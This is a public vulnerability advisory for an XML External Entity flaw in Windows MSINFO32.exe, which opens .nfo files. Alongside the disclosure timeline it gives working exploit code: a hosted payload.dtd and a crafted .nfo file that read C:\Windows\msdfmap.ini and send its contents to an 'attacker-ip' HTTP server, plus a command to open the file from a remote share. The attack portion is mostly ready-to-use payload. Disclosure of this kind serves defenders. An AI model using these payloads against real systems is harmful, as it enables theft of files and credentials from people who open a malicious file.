Microsoft MSINFO32.EXE ".NFO" Files XML External Entity

Subject: Microsoft MSINFO32.EXE ".NFO" Files XML External Entity

[+] Credits: John Page aka hyp3rlinx    

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[+] ISR: ApparitionSec


Windows System Information
MSINFO32.exe v6.1.7601

Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system components, and software environment.

FileName   : Specifies the file to be opened. This can be an .nfo, .xml, .txt, or .cab file.

Vulnerability Type:
XML External Entity

CVE Reference:

Vulnerability Details:

Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack which can potentially allow remote attackers to 
gain access to and exfiltrate files from the victims computer if they open a malicious ".nfo" file via remote share / USB etc.

Upon open the file user will see error message like "System Information is unable to open this .nfo file. The file might
be corrupt etc..

Tested Windows 7 SP1

Exploit code(s):

Access and exfiltrate Windows "msdfmap.ini" file as trivial POC.
This file contains credentials for MS ADO Remote Data Services.

1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd)

2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;'>">


3) "FindMeThatBiatch.nfo" (corrupt .NFO file)

<?xml version="1.0"?>
<!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd">

Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32 opens... attacker gets files.

OR open via Windows CL:
c:\>msinfo32  \\REMOTE-SHARE\FindMeThatBiatch.nfo

Disclosure Timeline:
Vendor Notification: September 4, 2016
Vendor Reply "not meet the bar for security servicing": September 7, 2016
December 4, 2016  : Public Disclosure

Exploitation Technique:

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